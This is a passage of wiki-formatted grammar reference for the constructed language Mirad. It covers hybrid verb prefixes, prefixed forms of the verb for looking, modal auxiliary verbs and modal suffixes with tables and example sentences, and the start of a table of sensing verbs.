::* '''ber'''....''to put'' → '''&lt;u&gt;aoye&lt;/u&gt;ber'''....''to insert and extract''
::* '''tiexer'''....''to breathe'' → '''&lt;u&gt;aoye&lt;/u&gt;tiexer'''....''to breath in and out''
::* '''paper'''....''to fly'' → '''&lt;u&gt;aoye&lt;/u&gt;paper'''....''to fly in and out''

The prefix '''aob-''' is a hybrid of '''ab-''' (''on'') and '''ob-''' (''off''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;ao&lt;/u&gt;ber'''....''to put on and off''
::* '''per'''....''to go'' → '''&lt;u&gt;ao&lt;/u&gt;per'''....''to get on and off, embark and disembark''

The prefix '''vao-''' is a hybrid of '''va-''' (''yes'') and '''vo-''' (''no''), eg:

::* '''der'''....''to say'' → '''&lt;u&gt;vao&lt;/u&gt;der'''....''to decide''
::* '''daler'''....''to talk'' → '''&lt;u&gt;vao&lt;/u&gt;daler'''....''to waffle''
::* '''duder'''....''to answer'' → '''&lt;u&gt;vao&lt;/u&gt;duder'''....''to answer yes or no''
::* '''kyaxer'''....''to change'' → '''&lt;u&gt;vao&lt;/u&gt;kyaxer'''....''to redact''
::* '''texer'''....''to think'' → '''&lt;u&gt;vao&lt;/u&gt;texer'''....''to deliberate, vacillate''

The prefix '''uij''' is a hybrid of '''uj-''' (''end'') and '''ij-''' (''begin'')

::* '''ber'''....''to put'' → '''&lt;u&gt;uij&lt;/u&gt;ber'''....''to switch off and on''
::* '''daler'''....''to talk'' → '''&lt;u&gt;uij&lt;/u&gt;daler'''....''to stutter''

The prefix '''yuij''' is a hybrid of '''yuj-''' (''close'') and '''yij-''' (''open'')

::* '''ber'''....''to put'' → '''&lt;u&gt;yuij&lt;/u&gt;ber'''....''to open and close, blink''

The prefix '''huim''' is a hybrid of '''hum''' (''there'') and '''him''' (''there'')

::* '''paper'''....''to fly'' → '''&lt;u&gt;huim&lt;/u&gt;paper'''....''to fly here and yon''
::* '''per'''....''to go'' → '''&lt;u&gt;huim&lt;/u&gt;per'''....''to wander''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;huim&lt;/u&gt;kexer'''....''to search high and low''

=== Different Nuances of '''teaxer''' with Prefixes ===
&lt;div style=&quot;background: lightyellow;{{Text default color}}; border: solid blue 2px; {{column-count|3}};{{column-rule|2px solid blue}};font-size:smaller;&quot;;&gt;
::* '''teaxer'''....''to look, behold, regard''
::* '''aybteaxer'''....''to supervise, look over''
::* '''ajteaxer'''....''to look back on (retrospect)''
::* '''eynteaxer'''....''to squint''
::* '''fizteaxer'''....''to respect''
::* '''fuzteaxer'''....''to disrespect''
::* '''gawteaxer'''....''to review, re-look''
::* '''hyuitteaxer'''....''to look at one another''
::* '''ibteaxer'''....''to ignore''
::* '''igteaxer'''....''to glance, glimpse''
::* '''ifteaxer'''....''to marvel at''
::* '''izteaxer'''....''to view directly, confront, aim''
::* '''jateaxer'''....''to preview''
::* '''jeteaxer'''....''to watch, observe''
::* '''joteaxer'''....''to review''
::* '''kateaxer'''....''to look for''
::* '''keteaxer'''....''to scan''
::* '''kiteaxer'''....''to look askance''
::* '''koteaxer'''....''to peek, spy''
::* '''kozyeteaxer'''....''to peep''
::* '''kozyoteaxer'''....''to peer''
::* '''kuteaxer'''....''to observe''
::* '''kyeteaxer'''....''to browse''
::* '''kyoteaxer'''....''to stare, glare''
::* '''oteaxer'''....''to ignore, overlook''
::* '''ufteaxer'''....''to glare, leer''
::* '''ugteaxer'''....''to gaze''
::* '''yagteaxer'''....''to gape, gawk''
::* '''yebteaxer'''....''to inspect''
::* '''yibteaxer'''....''to view from afar''
::* '''yogteaxer'''....''to glance at''
::* '''yokteaxer'''....''to get a glimpse of''
::* '''yubteaxer'''....''to examine''
::* '''yuibteaxer'''....''to look near and far''
::* '''yuzteaxer'''....''to look around, circumspect''
::* '''yanteaxer'''....''to view together''
::* '''yizteaxer'''....''to look beyond, overlook''
::* '''vyateaxer'''....''to investigate, check out''
::* '''vyoteaxer'''....''to view wrongly''
::* '''zateaxer'''....''to face, confront''
::* '''zayteaxer'''....''to look ahead, expect''
::* '''zoyteaxer'''....''to look back''
::* '''zeyteaxer'''....''to look across''
::* '''ziteaxer'''....''to look to the right''
::* '''zuteaxer'''....''to look to the left''
::* '''zuiteaxer'''....''to look right and left''
::* '''zyateaxer'''....''to look all over, survey''
::* '''zyeteaxer'''....''to look through, peruse''
::* '''zyoteaxer'''....''to squint''
::* '''yobteaxer'''....''to look down''
::* '''yaobteaxer'''....''to look up and down''
::* '''zaoteaxer'''....''to look back and forth''
::* '''yabteaxer'''....''to look up''
::* '''yubketeaxer'''....''to pry''
::* '''uzteaxer'''....''to look indirectly at''
::* '''oyebteaxer'''....''to look out''
::* '''ojteaxer'''....''to peer into the future''
::* '''marteaxer'''....''to star-gaze''
::* '''tabteaxer'''....''to autopsy''
&lt;/div&gt;

== Modal Verbs ==
: Modal verbs are auxiliary verbs that are usually followed by the main verb in the infinitive or a subjunctive dependent clause and have to do with wanting, permitting, prohibiting, being able, being unable, needing, being obliged to do something, etc. 
==== Principal Modal Auxiliary Verbs ====
[[File:Ladies Should Listen poster.jpg|thumb|]]
: Mirad has a set of modal auxiliary verbs that can be followed by a main verb in the infinitive mode.  This is very much like English modal auxiliary verbs in the following examples:
::* ''I &lt;u&gt;want&lt;/u&gt; to go.''
::* ''You &lt;u&gt;must&lt;/u&gt; wait.''
::* ''You &lt;u&gt;may&lt;/u&gt; stay.''
::* ''I &lt;u&gt;dare&lt;/u&gt; say.''

: Here is a chart showing the main modal auxiliary verbs in Mirad:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Principle Modal Auxiliary Verbs
|-
! Type !! Positive !! Negative
|-
! Permission
| '''afer'''....''may''&lt;br&gt;'''ayfer'''....''might'' || '''ofer'''....''may not''&lt;br&gt;'''oyfer'''....''might not''
|-
! Ability
| '''yafer'''....''can''||'''yofer'''....''cannot''
|-
! Need 
| '''efer'''....''need to'' ||
|-
! Obligation
| '''yefer'''....''must''&lt;br&gt;'''yeyfer'''....''should'' ||'''oyefer'''....''must not''&lt;br&gt;'''oyeyfer'''....''should not''
|-
! Desire 
| '''fer'''....''want to'' ||
|-
! Enjoyment 
| '''ifer'''....''love to, enjoy''&lt;br&gt;'''iyfer'''....''like to'' || '''ufer'''....''hate to''&lt;br&gt;'''uyfer'''....''dislike to''
|-
! Courage
|'''yifer'''....''dare to'' || '''yufer'''....''be afraid to, fear''
|-
! Liberty
| '''yiver'''....''have a right to, be free to'' ||  '''yuver'''....''be bound to, be supposed to''
|-
! Expectation
| '''yaker'''....''expect to'' || '''yoker'''....''be surprised to''
|-
! Conation
| '''yeker'''....''try to'' || 
|-
! Difficulty
| '''yiker'''....''to find it hard to'' || '''yuker'''....''to find it easy to''
|}

: These modal auxiliary verbs are often followed by a verbal infinitive, as in the following examples:
::* '''At fe &lt;u&gt;ter&lt;/u&gt;.'''....''I want &lt;u&gt;to know&lt;/u&gt;.''
::* '''Wit yifa &lt;u&gt;yeper&lt;/u&gt;.'''....''He dared &lt;u&gt;to enter&lt;/u&gt;.''
::* '''Yat yafe &lt;u&gt;teater&lt;/u&gt; yet.'''....''We can &lt;u&gt;see&lt;/u&gt; you.''
::* '''Duven et yaka &lt;u&gt;aker&lt;/u&gt;?'''....''Did you expect &lt;u&gt;to win&lt;/u&gt;?''
::* '''Diwe yeku &lt;u&gt;xer&lt;/u&gt; ga fi.'''....''Please try &lt;u&gt;to do&lt;/u&gt; better.''

: If the modal verb is in the hypothetical aspect (conditional), then the sense is somewhat mitigated, as in these examples:

:* '''At &lt;u&gt;fe&lt;/u&gt; per.'''....''I &lt;u&gt;want&lt;/u&gt; to go.''
:* '''At &lt;u&gt;fu&lt;/u&gt; per.'''....''I &lt;u&gt;would&lt;/u&gt; like to go.''

:* '''Et &lt;u&gt;yafe&lt;/u&gt; aker.'''....''You &lt;u&gt;can&lt;/u&gt; win.''
:* '''Et &lt;u&gt;yafu&lt;/u&gt; aker.'''....''You &lt;u&gt;could&lt;/u&gt; win.''

:* '''Yet &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Yet &lt;u&gt;yefu&lt;/u&gt; iper.'''....''You &lt;u&gt;ought&lt;/u&gt; to leave.''

: Post-y-gliding the stem vowel of the modal verb also reduces the strength, for example:

:* '''At &lt;u&gt;ife&lt;/u&gt; et.''' ....''I &lt;u&gt;love&lt;/u&gt; you.''
:* '''At &lt;u&gt;iyfe&lt;/u&gt; et.''' ....''I &lt;u&gt;like&lt;/u&gt; you.''

:* '''Et &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Et &lt;u&gt;yeyfe&lt;/u&gt; iper.'''....''You &lt;u&gt;should&lt;/u&gt; leave.''

:* '''Iyt &lt;u&gt;yafe&lt;/u&gt; aker.'''....''She &lt;u&gt;can&lt;/u&gt; win.''
:* '''Iyt &lt;u&gt;yayfe&lt;/u&gt; aker.'''....''She &lt;u&gt;might&lt;/u&gt; win.''

:* '''At &lt;u&gt;ufa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;hated&lt;/u&gt; that art.''
:* '''At &lt;u&gt;uyfa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;disliked&lt;/u&gt; that art.''

: The use of '''l''' and '''r''' intensify the meaning of the auxiliary verbs, eg:

:* '''Et &lt;u&gt;yuve&lt;/u&gt; puer jwe.'''....''You &lt;u&gt;are supposed&lt;/u&gt; to arrive on time.''
:* '''Et &lt;u&gt;yuvle&lt;/u&gt; tepzexer.'''....''You &lt;u&gt;have&lt;/u&gt; to pay attention.''
:* '''Et &lt;u&gt;yuvre&lt;/u&gt; buer nas.'''....''You &lt;u&gt;absolutely must&lt;/u&gt; give money.''

:* '''At &lt;u&gt;yeka&lt;/u&gt; ser yeva.'''....''I &lt;u&gt;tried&lt;/u&gt; to be fair.''
:* '''At &lt;u&gt;yekla&lt;/u&gt; ujber jwa.'''....''I &lt;u&gt;strove&lt;/u&gt; to finish early.''
:* '''At &lt;u&gt;yekra&lt;/u&gt; nixer ga nas.'''....''I &lt;u&gt;struggled (= worked hard))&lt;/u&gt; to earn more money.''

:* '''Iyt &lt;u&gt;ife&lt;/u&gt; eker zyun.'''....''She &lt;u&gt;loves&lt;/u&gt; to play ball.''
:* '''Iyt &lt;u&gt;ifla&lt;/u&gt; teater et.'''....''She &lt;u&gt;was delighted&lt;/u&gt; to see you.''
:* '''Iyt &lt;u&gt;ifre&lt;/u&gt; teaper him.'''....''She &lt;u&gt;adores&lt;/u&gt; visiting here.''

: Here are some examples showing how these modal verbs are used as auxiliaries:

::* '''Et &lt;u&gt;afe&lt;/u&gt; oyeper ay ifeker.'''....''You &lt;u&gt;may&lt;/u&gt; go out and play.''
::* '''Yat &lt;u&gt;efa&lt;/u&gt; tujer.'''....''We &lt;u&gt;needed&lt;/u&gt; to sleep.''
::* '''Ot &lt;u&gt;ofe&lt;/u&gt; mavier him.'''....''One &lt;u&gt;is prohibited&lt;/u&gt; to smoke here.''
::* '''Mavier him &lt;u&gt;ofwe&lt;/u&gt;.'''....''Smoking here is prohibited.''
::* '''At &lt;u&gt;ife&lt;/u&gt; dyeer.'''....''I &lt;u&gt;love&lt;/u&gt; to read.''
::* '''Duven et &lt;u&gt;fe&lt;/u&gt; yeper?'''....''Do you &lt;u&gt;want&lt;/u&gt; to come in?''
::* '''At &lt;u&gt;fu&lt;/u&gt; teaper et edjub.'''....''I &lt;u&gt;would like&lt;/u&gt; to visit you some day.''
::* '''It &lt;u&gt;ufaye hyaj&lt;/u&gt; teaxwer.'''....''He &lt;u&gt;has always hated&lt;/u&gt; being looked at.''
::* '''Duven et &lt;u&gt;iyfe&lt;/u&gt; per tilami?'''....''Do you &lt;u&gt;like&lt;/u&gt; going to bars?''
::* '''At &lt;u&gt;uyfe&lt;/u&gt; tijer gra jwa.'''....''I &lt;u&gt;dislike&lt;/u&gt; waking up too early.''
::* '''Et &lt;u&gt;yafe&lt;/u&gt; xer hyehos et fu.'''....''You &lt;u&gt;can&lt;/u&gt; do whatever you like.''
::* '''Et &lt;u&gt;yefer&lt;/u&gt; xer ad vyaas.'''....''You &lt;u&gt;must&lt;/u&gt; do the right thing.''
::* '''Et &lt;u&gt;yeyfe&lt;/u&gt; voy daler huuyen azay.'''....''You &lt;u&gt;should&lt;/u&gt; not talk so loud.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; ter ga fi.'''....''I &lt;u&gt;should have&lt;/u&gt; known better.''
::* '''At &lt;u&gt;voy yifu&lt;/u&gt; der hyea fuas.'''....''I &lt;u&gt;would not dare&lt;/u&gt; say anything bad.''
::* '''&lt;u&gt;Von yufu&lt;/u&gt; der hos et tesde.'''....''&lt;u&gt;Don't be afraid&lt;/u&gt; to say what you mean.''
::* '''Et &lt;u&gt;yive&lt;/u&gt; dier yevanavdut.'''....''You &lt;u&gt;have a right&lt;/u&gt; to ask for a lawyer.''
::* '''Yat &lt;u&gt;voy yuvle&lt;/u&gt; kyoejer.'''....''We &lt;u&gt;are not bound&lt;/u&gt; to stick around.''

=== Subject-oriented vs. Patient-oriented Modal Verb Forms ===

:: All of these modal verbs can be passive, in which case they are &quot;patient-oriented&quot; rather than &quot;subject-oriented.&quot; The participial adjective '''yafa'''....''able'' is subject-oriented and refers to a person, whereas the passived adjective '''yafwa'''....''possible'' is patient-oriented and refers to a thing or event. Here is a chart of the principal modal verbs and corresponding participial adjectives with this subject/object-orientation distinction shown:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Subject-oriented vs. Patient-oriented Modal Verb Forms
|-
! Modal Type || Subject-oriented !! Subject-oriented !! Patient-oriented !! Patient-oriented
|-
! !! Verb !! Adjective !! Verb !! Adjective
|-
!row=1| Permission
| '''afer'''&lt;br&gt;''may'' || '''afa'''&lt;br&gt;''allowed'' || '''afwer'''&lt;br&gt;''be permitted'' || '''afwa'''&lt;br&gt;''permissable''
|-
!row=1| Necessity 
| '''efer'''&lt;br&gt;''need'' || '''efa'''&lt;br&gt;''needful'' || '''efwer'''&lt;br&gt;''be necessary'' || '''efwa'''&lt;br&gt;''necessary, required''
|-
!row=1| Prohibition
| '''ofer'''&lt;br&gt;''be unallowed'' || '''ofa'''&lt;br&gt;''prohibited'' || '''ofwer'''&lt;br&gt;''be prohibited'' || '''ofwa'''&lt;br&gt;''banned''
|-
!row=1| Possibility
| '''yafer'''&lt;br&gt;''be able'' || '''yafa'''&lt;br&gt;''able'' || '''yafwer'''&lt;br&gt;''be possible'' || '''yafwa'''&lt;br&gt;''possible''
|-
!row=1| Obligation
| '''yefer'''&lt;br&gt;''must'' || '''yefa'''&lt;br&gt;''obliged'' || '''yefwer'''&lt;br&gt;''be obligatory'' || '''yefwa'''&lt;br&gt;''obligatory''
|-
!row=1| Duty 
| '''yeyfer'''&lt;br&gt;''should'' || '''yeyfa'''&lt;br&gt;''supposed, duty-bound'' || '''yeyfwer'''&lt;br&gt;''be supposed'' || '''yeyfwa'''&lt;br&gt;''due''
|-
!row=1| Impossibility
| '''yofer'''&lt;br&gt;''be unable'' || '''yofa'''&lt;br&gt;''unable'' || '''yofwer'''&lt;br&gt;''be impossible'' || '''yofwa'''&lt;br&gt;''impossible''
|-
!row=1| Volition
| '''fer'''&lt;br&gt;''want'' || '''fa'''&lt;br&gt;''desirous'' || '''fwer'''&lt;br&gt;''be desirable'' || '''fwa'''&lt;br&gt;''desirable, wanted''
|-
!row=1| Love 
| '''ifer'''&lt;br&gt;''love''&lt;br&gt;'''iyfer'''&lt;br&gt;''like'' || '''ifa'''&lt;br&gt;''enamored''&lt;br&gt;'''iyfa'''&lt;br&gt;''fond'' || '''ifwer'''&lt;br&gt;''be loved''&lt;br&gt;'''iyfwer'''&lt;br&gt;''be liked'' || '''ifwa'''&lt;br&gt;''lovable''&lt;br&gt;'''iyfwa'''&lt;br&gt;''likeable''
|-
!row=1| Hate 
| '''ufer'''&lt;br&gt;''hate''&lt;br&gt;'''uyfer'''&lt;br&gt;''dislike'' || '''ufa'''&lt;br&gt;''averse''&lt;br&gt;'''uyfa'''&lt;br&gt;''displeased''|| '''ufwer'''&lt;br&gt;''be hated''&lt;br&gt;'''uyfwer'''&lt;br&gt;''be disliked'' || '''ufwa'''&lt;br&gt;''odious''&lt;br&gt;''unliked''
|-
!row=1| Courage 
| '''yifer'''&lt;br&gt;''dare'' || '''yifa'''&lt;br&gt;''daring, brave'' || '''yifwer'''&lt;br&gt;''be safe'' || '''yifwa'''&lt;br&gt;''safe''
|-
!row=1| Fear 
| '''yufer'''&lt;br&gt;''be afraid'' || '''yufa'''&lt;br&gt;''afraid'' || '''yufwer'''&lt;br&gt;''be a danger'' || '''yufwa'''&lt;br&gt;''frightening''
|-
!row=1| Joy 
| '''iver'''&lt;br&gt;''enjoy'' || '''iva'''&lt;br&gt;''glad'' || '''ivwer'''&lt;br&gt;''be a joy'' || '''ivwa'''&lt;br&gt;''enjoyable''
|-
!row=1| Sorrow
| '''uver'''&lt;br&gt;''be sorry'' || '''uva'''&lt;br&gt;''sorry, sad'' || '''uvwer'''&lt;br&gt;''be a shame'' || '''uvwa'''&lt;br&gt;''regrettable''
|}

: Examples of subject-oriented forms:

::* '''At se &lt;u&gt;yafa&lt;/u&gt; xer hes.'''....''I &lt;u&gt;am capable of&lt;/u&gt; doing anything.''
::* '''Et &lt;u&gt;ofe&lt;/u&gt; teater hia dyezun.'''....''You &lt;u&gt;are not allowed/are prohibited&lt;/u&gt; to see this film.''
::* '''Duven at &lt;u&gt;afe&lt;/u&gt; per hum?'''....''Am I &lt;u&gt;allowed&lt;/u&gt; to go there?''
::* '''Yat &lt;u&gt;fu&lt;/u&gt; ter eta dyun.'''....''We &lt;u&gt;would like&lt;/u&gt; to know your name.''
::* '''Piti &lt;u&gt;ufe&lt;/u&gt; beser be mel.'''....''Fish &lt;u&gt;hate&lt;/u&gt; to remain on dry land.''
::* '''At ajay &lt;u&gt;ifa&lt;/u&gt; dazer.'''....''I once &lt;u&gt;loved&lt;/u&gt; to dance.''
::* '''Et se iva, at &lt;u&gt;yife&lt;/u&gt; der.'''....''You are beautiful, I &lt;u&gt;dare&lt;/u&gt; say.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; xer has ga ig.'''....''I &lt;u&gt;should&lt;/u&gt; have done it sooner.''
::* '''Von &lt;u&gt;yufu&lt;/u&gt;; At yupeye.'''....''&lt;u&gt;Fear&lt;/u&gt; not; I am coming.''
::* '''Et &lt;u&gt;yefe&lt;/u&gt; puer ja eymaj.'''....''You &lt;u&gt;must&lt;/u&gt; arrive before noon.''
::* '''Yet &lt;u&gt;yofe&lt;/u&gt; daler je ha dezun.'''....''You people &lt;u&gt;must not&lt;/u&gt; talk during the performance.''
::* '''Yat &lt;u&gt;yeyfe&lt;/u&gt; (= se &lt;u&gt;yeyfa&lt;/u&gt;) aker.'''....''We should (= are &lt;u&gt;bound/supposed/due&lt;/u&gt;) to win.''
::* '''At &lt;u&gt;ive&lt;/u&gt; teater et bakser.'''....''I&lt;u&gt;'m glad&lt;/u&gt; to see you get better.''
::* '''Su &lt;u&gt;iva&lt;/u&gt;.'''....''Be &lt;u&gt;happy&lt;/u&gt;.''
::* '''At &lt;u&gt;uvu (= su uva)&lt;/u&gt; teater et iper.'''....''I &lt;u&gt;would be sad&lt;/u&gt; to see you leave.''

: Examples of patient-oriented forms:

::* '''&lt;u&gt;Afwe&lt;/u&gt; (= se afwa) mavier him.'''....''&lt;u&gt;It is permissible&lt;/u&gt; to smoke here.''
::* '''&lt;u&gt;Ofwe&lt;/u&gt; (= se ofwa*) puxer fyumul him.'''....''&lt;u&gt;It is prohibited&lt;/u&gt; to throw litter here.''
::* '''&lt;u&gt;Fwe&lt;/u&gt; (= se fwa) van yet dolu.'''....''&lt;u&gt;It is desired&lt;/u&gt; that you stop talking.''
::* '''&lt;u&gt;Voy yafwe&lt;/u&gt; beser him gajob.'''....''&lt;u&gt;It is not possible&lt;/u&gt; to remain here any longer.''
::* '''&lt;u&gt;Yofwa&lt;/u&gt; av at ivteuder.'''....''&lt;u&gt;It was not possible&lt;/u&gt; for me to laugh.''
::* '''&lt;u&gt;Yefwe&lt;/u&gt; van et piu ig.'''....''&lt;u&gt;It is essential&lt;/u&gt; that you leave quickly.''
::* '''He &lt;u&gt;yeyfwe&lt;/u&gt; ober ata tyoyafi?'''....''Is &lt;u&gt;it obligatory&lt;/u&gt; to remove my shoes?''
::* '''Ga yux &lt;u&gt;efwo&lt;/u&gt;.'''....''More help &lt;u&gt;will be needed&lt;/u&gt;.''
::* '''Yuxren se &lt;u&gt;ufwa&lt;/u&gt; xetyen.'''....''Slavery is an &lt;u&gt;odious&lt;/u&gt; practice.''
::* '''&lt;u&gt;Uvwe&lt;/u&gt; van wit oka.'''....''&lt;u&gt;It's a shame&lt;/u&gt; that he lost.''

:: *&lt;small&gt;'''lofwa''' is used for ''unwanted'' for disambiguation purposes.&lt;/small&gt;

=== Deriving Causatives from Modal Stems ===

: Various causative verbs can be formed from modal stems, as shown in the chart below:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Deriving Causatives from Modal Stems
|-
! Subject-oriented !! Patient-oriented
|-
| '''afxer'''....''allow'' (someone to do sthg.) || '''afwaxer'''....''permit'' (something to be done)
|-
| '''efxer'''....''require'' || '''efwaxer'''....''necessitate''
|-
| '''ofxer'''....''prohibit'' || '''ofwaxer'''....''prohibit''
|-
| '''yafxer'''....''enable'' || '''yafwaxer'''....''make possible''
|-
| '''yefxer'''....''oblige'' || '''yefwaxer'''....''make obligatory''
|-
| '''yofxer'''....''cripple'' || '''yofwaxer'''....''disable''
|-
| '''yifxer'''....''embolden'' || '''yifwaxer'''....''make safe''
|-
| '''yufxer'''....''intimidate'' || '''yufwaxer'''....''make frightening''
|-
| '''ifxer'''....''please'' || '''ifwaxer'''....''make pleasant''
|}

=== Creating Modal Verbs and Adjectives with Modal Stem Suffixes ===

: Verb stems can be suffixed with modal participles to produce related modal verbs and adjectives.  The first chart shows the modal participles themselves that can be suffixed to verb stems.  Subject-oriented forms refer only to people, while patient-oriented forms (ending in '''-wa''') refer only to things.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modal Suffixes
|-
! Subject-oriented !! Patient-oriented
|-
| '''-yafa'''....''able to X, -able'' || '''-yafwa'''....''possible to X''
|-
| '''-yofa'''....''unable to X'' || '''-yofwa'''....''impossible to X''
|-
| '''-ifa'''....''fond of Xing, Xophile'' || '''-ifwa'''....''enjoyable to X''
|-
| '''-ufa'''....''averse to Xing, Xophobic'' ||'''-ufwa'''....''unenjoyable to X''
|-
| '''-yika'''....''hard of Xing'' || '''-yikwa'''....''hard to X'' 
|-
| '''-yuka'''....''comfortable/easy Xing'' || '''-yukwa'''....''easy to X''
|-
| '''-yaka'''....''expecting to X'' || '''yakwa'''....''expected/likely to X''
|-
| '''-efa'''....''in need of Xing'' || '''-efwa'''....''necessary to X''
|-
| '''-yefa'''....''obliged to X'' || '''-yefwa'''....''obligatory/due to X''
|-
| '''-yufa'''....''afraid of Xing'' || '''-yufwa'''....''frightening to X''
|}

: This table shows some of these modal suffixes applied to actual verb and noun stems:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modals and Orientation
|-
! Orientation !! Positive Adjective !! Positive Verb !! Negative Adjective !! Negative Verb
|-
!row=1| '''Subject''' 
| '''teatyafa'''&lt;br&gt;''able to see, sighted'' || '''teatyafer'''&lt;br&gt;''be able to see'' || '''teatyofa'''&lt;br&gt;''blind'' || '''teatyofer'''&lt;br&gt;''be blind''
|-
!row=1| '''Patient''' 
| '''teatyafwa'''&lt;br&gt;''visible'' || '''teatyafwer'''&lt;br&gt;''be visible'' || '''teatyofwa'''&lt;br&gt;''invisible'' || '''teatyofwer'''&lt;br&gt;''be invisible''
|-
!row=1| '''Subject''' 
| '''teetyafa'''&lt;br&gt;''able to hear, hearing'' || '''teetyafer'''&lt;br&gt;''be able to hear'' || '''teetyofa'''&lt;br&gt;''deaf'' || '''teatyofer'''&lt;br&gt;''be deaf''
|-
!row=1| '''Patient''' 
| '''teetyafwa'''&lt;br&gt;''audible'' || '''teetyafwer'''&lt;br&gt;''be audible'' || '''teeyofwa'''&lt;br&gt;''inaudible'' || '''teeyofwer'''&lt;br&gt;''be inaudiable''
|-
!row=1| '''Subject''' 
| '''dalyafa'''&lt;br&gt;''able to speak'' || '''dalyafer'''&lt;br&gt;''be able to speak'' || '''dalyofa'''&lt;br&gt;''mute, dumb'' || '''dalyofer'''&lt;br&gt;''be mute, dumb''
|-
!row=1| '''Subject''' 
| '''doabifa'''&lt;br&gt;''patriotic'' || '''doabifer'''&lt;br&gt;''be patriotic'' || '''doabufa'''&lt;br&gt;''rebellious'' || '''doabufer'''&lt;br&gt;''rebel'' 
|-
!row=1| '''Subject''' 
| '''tosyafa'''&lt;br&gt;''sensitive'' || '''tosyafer'''&lt;br&gt;''be able to feel'' || '''tosyofa'''&lt;br&gt;''insensitive'' || '''tosyofer'''&lt;br&gt;''be numbed''
|-
!row=1| '''Patient''' 
| '''tayotyafwa'''&lt;br&gt;''palpable'' || '''tayotyafwer'''&lt;br&gt;''be palpable'' || '''tayotyofwa'''&lt;br&gt;''numb'' || '''tayotyofwer'''&lt;br&gt;''be impalbable, numb''
|-
!row=1| '''Patient''' 
| '''testyukwa'''&lt;br&gt;''easy to understand'' || '''testyukwaxer'''&lt;br&gt;''make easily understood'' || '''testyikwa'''&lt;br&gt;''hard to understand'' || '''testyikwaxer'''&lt;br&gt;''make hard to understand''
|-
!row=1| '''Subject'''
| '''tudyaka'''&lt;br&gt;''pregnant, expecting'' || '''tudyaker'''&lt;br&gt;''be expecting''|| ||
|-
!row=1| '''Patient'''
|'''mamilyakwa'''&lt;br&gt;''likely to rain'' || '''mamilyakwer'''&lt;br&gt;''to be expected to rain''|| '''mamilyokwa'''&lt;br&gt;''unlikely to rain''|| '''mamilyokwer'''&lt;br&gt;''to be unlikely to rain''
|-
!row=1| '''Subject''' 
| '''tilefa'''&lt;br&gt;''thirsty'' || '''tilefer'''&lt;br&gt;''be thirsty'' || ||
|-
!row=1| '''Subject''' 
| '''telefa'''&lt;br&gt;''hungry'' || '''telefer'''&lt;br&gt;''be hungry'' || ||
|-
!row=1| '''Patient''' 
| '''tejefwa'''&lt;br&gt;''vital'' || '''tejefwer'''&lt;br&gt;''be vital'' || ||
|-
!row=1| '''Subject''' 
| '''tujefa'''&lt;br&gt;''sleepy'' || '''tujefer'''&lt;br&gt;''be sleepy'' || ||
|-
!row=1| '''Subject''' 
| '''nasefa'''&lt;br&gt;''poor, needy'' || '''nasefer'''&lt;br&gt;''be needy'' || ||
|-
!row=1| '''Subject''' 
| '''dudyefa'''&lt;br&gt;''accountable, responsible'' || '''dudyefer'''&lt;br&gt;''be responsible'' || ||
|-
!row=1| '''Patient'''
| '''texiyefwa'''&lt;br&gt;''noteworthy'' || '''texiyefwer'''&lt;br&gt;''be noteworthy'' || ||
|}

== Sensing Verbs ==
: Verbs involving the senses, such as sight or hearing, follow a similar pattern, as the following chart shows:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Sensing Verbs
|- valign=top
! TYPE !! '''teab'''....''eye''&lt;br&gt;'''teata'''....''visual'' !! '''teeb'''....''ear''&lt;br&gt;'''teeta'''....''acoustic'' !! '''teib'''....''nose''&lt;br&gt;'''teita'''....''olfactory'' !! '''teub'''....''mouth''&lt;br&gt;'''teuta'''....''gustatory'' !! '''tayob'''....''skin''&lt;br&gt;'''tayota'''....''tactile''
|- valign=top
!row=1| Receptive&lt;br&gt;Active 
| '''teater'''&lt;br&gt;''see'' || '''teeter'''&lt;br&gt;''hear'' || '''teiter'''&lt;br&gt;''smell'' || '''teuter'''&lt;br&gt;''taste'' || '''tayoter'''&lt;br&gt;''feel''
|-  valign=top
!row=1| Receptive&lt;br&gt;Passive 
| '''teatwer'''&lt;br&gt;''be seen'' || '''teetwer'''&lt;br&gt;''be heard'' || '''teitwer'''&lt;br&gt;''be smelled'' || '''teutwer'''&lt;br&gt;''be tasted'' || '''tayotwer'''&lt;br&gt;''be felt''
|-  valign=top
!row=1| Stative  
| '''teaser'''&lt;br&gt;''seem'' || '''teeser'''&lt;br&gt;''sound'' || '''teiser'''&lt;br&gt;''smell'' || '''teuser'''&lt;br&gt;''taste'' || '''tayoser'''&lt;br&gt;''feel'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Active 
| '''teaxer'''&lt;br&gt;''look at'' || '''teexer'''&lt;br&gt;''listen'' || '''teixer'''&lt;br&gt;''sniff'' || '''teuxer'''&lt;br&gt;''taste'' || '''tayoxer'''&lt;br&gt;''touch'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Passive 
| '''teaxwer'''&lt;br&gt;''be looked at'' || '''teexwer'''&lt;br&gt;''be listened to'' || '''teixwer'''&lt;br&gt;''be sniffed'' || '''teuxwer'''&lt;br&gt;''be tasted'' || '''tayoxwer'''&lt;br&gt;''be touched''
|-  valign=top
!row=1| Causative&lt;br&gt;Active
| '''teatuer'''&lt;br&gt;''show'' || '''teetuer'''&lt;br&gt;''make hear'' || '''teixuer'''&lt;br&gt;''make smell'' || '''teuxuer'''&lt;br&gt;''offer a taste'' || '''tayoxuer'''&lt;br&gt;''make feel''
|-  valign=top
